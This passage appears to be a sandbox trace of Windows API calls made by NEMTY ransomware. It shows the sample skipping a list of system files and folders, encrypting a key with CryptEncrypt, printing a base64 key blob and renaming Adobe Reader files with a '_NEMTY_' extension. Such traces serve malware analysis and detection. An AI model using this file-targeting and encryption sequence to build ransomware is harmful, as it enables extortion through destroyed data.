lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.186] CloseHandle (hObject=0xffffffff) returned 0 [0213.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0213.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0213.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0213.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0213.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0213.187] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-h._nemty_kgobjgd_")) returned 0 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.187] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-V", cAlternateFileName="UNC565~1")) returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2=".") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="..") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="...") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="windows") returned -1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="$RECYCLE.BIN") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="rsa") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="NTDETECT.COM") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="ntldr") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="MSDOS.SYS") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="IO.SYS") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="boot.ini") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="boot.ini") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="AUTOEXEC.BAT") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="ntuser.dat") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="desktop.ini") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="CONFIG.SYS") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="RECYCLER") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="BOOTSECT.BAK") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="bootmgr") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="programdata") returned 1 [0213.188] lstrcmpiW (lpString1="UniJIS2004-UTF16-V", lpString2="appdata") returned 1 [0213.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-V", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0213.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-V", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS2004-UTF16-V", lpUsedDefaultChar=0x0) returned 18 [0213.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0213.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-V", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0213.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-V", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS2004-UTF16-V", lpUsedDefaultChar=0x0) returned 18 [0213.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0213.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-V", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0213.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-V", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS2004-UTF16-V", lpUsedDefaultChar=0x0) returned 18 [0213.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-V", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0213.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-V", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS2004-UTF16-V", lpUsedDefaultChar=0x0) returned 18 [0213.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0213.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0213.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0213.189] Sleep (dwMilliseconds=0x5) [0213.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32b76b70, dwHighDateTime=0x1d561e8)) [0213.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32b76b70, dwHighDateTime=0x1d561e8)) [0213.203] GetLastError () returned 0x5 [0213.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.203] GetLastError () returned 0x5 [0213.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0213.203] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0213.204] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0213.204] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0213.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0213.204] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="Xs7NwznsJfppP5HX/TNjv6RaF9VdloeKKke1UyHCXIz+Sh5BLSz5oe5N8liBct9z\r\nRXtwo+dRUURIPHTiMKy9nDhKEcXrg/qIOGM0cmIvYhZU3683kMs9xWbxMd1gz9TZ\r\nPBOAAU20zXElIT6fvWJNnf+7nkNfuK1kXCelyjBNzGKDUcMxPCTZlLGx4ZfvnqnO\r\n2/dNNXd0Nk7Hgg+C1gv2yTEZRaFmVoUPdCpyUghWwXcJON+Tgb8w78hg7efh1IQW\r\nLE0Ze4fziyn1V3bK8c53X5NVxeffXJlZHKZBNd+ZPFsVzO5sC5JoqkMk8jCLFCaq\r\nMG5jyBRsrc6IvqrGY4c5sQ==\r\n", pcchString=0x653e91c) returned 1 [0213.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0213.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0213.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0213.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0213.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.204] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0213.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0213.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.306] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 